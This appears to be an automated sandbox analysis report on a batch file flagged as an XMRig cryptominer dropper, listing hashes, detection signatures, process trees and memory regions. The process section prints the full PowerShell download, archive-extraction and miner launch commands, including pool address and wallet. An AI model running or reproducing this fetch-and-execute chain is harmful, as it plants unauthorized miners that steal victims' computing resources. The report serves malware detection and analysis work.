Analysis

  • max time kernel
    1797s
  • max time network
    1801s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 07:36

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2956
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4696
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4188

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • memory/2956-4-0x0000024047950000-0x0000024047972000-memory.dmp

    Filesize

    136KB

  • memory/2956-9-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-10-0x0000024047B00000-0x0000024047B76000-memory.dmp

    Filesize

    472KB

  • memory/2956-25-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-8-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-6-0x00007FFBED360000-0x00007FFBEDD4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2956-28-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-27-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-26-0x00007FFBED360000-0x00007FFBEDD4C000-memory.dmp

    Filesize

    9.9MB

  • memory/2956-29-0x0000024047810000-0x0000024047820000-memory.dmp

    Filesize

    64KB

  • memory/2956-34-0x00007FFBED360000-0x00007FFBEDD4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4188-147-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-153-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-122-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-188-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-187-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-186-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-185-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-125-0x000001B385520000-0x000001B385540000-memory.dmp

    Filesize

    128KB

  • memory/4188-124-0x000001B3852E0000-0x000001B385300000-memory.dmp

    Filesize

    128KB

  • memory/4188-123-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-126-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-127-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-128-0x000001B3852E0000-0x000001B385300000-memory.dmp

    Filesize

    128KB

  • memory/4188-129-0x000001B385520000-0x000001B385540000-memory.dmp

    Filesize

    128KB

  • memory/4188-130-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-131-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-132-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-133-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-134-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-135-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-136-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-137-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-138-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-139-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-140-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-141-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-142-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-143-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-144-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-145-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-146-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-120-0x000001B2F10F0000-0x000001B2F1110000-memory.dmp

    Filesize

    128KB

  • memory/4188-148-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-149-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-150-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-151-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-152-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-121-0x000001B384EA0000-0x000001B384EC0000-memory.dmp

    Filesize

    128KB

  • memory/4188-154-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-155-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-156-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-157-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-158-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-159-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-160-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-161-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-162-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-163-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-164-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-165-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-166-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-167-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-168-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-169-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-170-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-171-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-172-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-173-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-174-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-175-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-176-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-177-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-178-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-179-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-180-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-181-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-182-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-183-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4188-184-0x00007FF7DE6A0000-0x00007FF7DF1A3000-memory.dmp

    Filesize

    11.0MB

  • memory/4696-66-0x00000281730D0000-0x00000281730E0000-memory.dmp

    Filesize

    64KB

  • memory/4696-40-0x00007FFBED360000-0x00007FFBEDD4C000-memory.dmp

    Filesize

    9.9MB

  • memory/4696-42-0x00000281730D0000-0x00000281730E0000-memory.dmp

    Filesize

    64KB

  • memory/4696-43-0x00000281730D0000-0x00000281730E0000-memory.dmp

    Filesize

    64KB

  • memory/4696-93-0x0000028173330000-0x000002817333A000-memory.dmp

    Filesize

    40KB

  • memory/4696-80-0x0000028173340000-0x0000028173352000-memory.dmp

    Filesize

    72KB

  • memory/4696-117-0x00007FFBED360000-0x00007FFBEDD4C000-memory.dmp

    Filesize

    9.9MB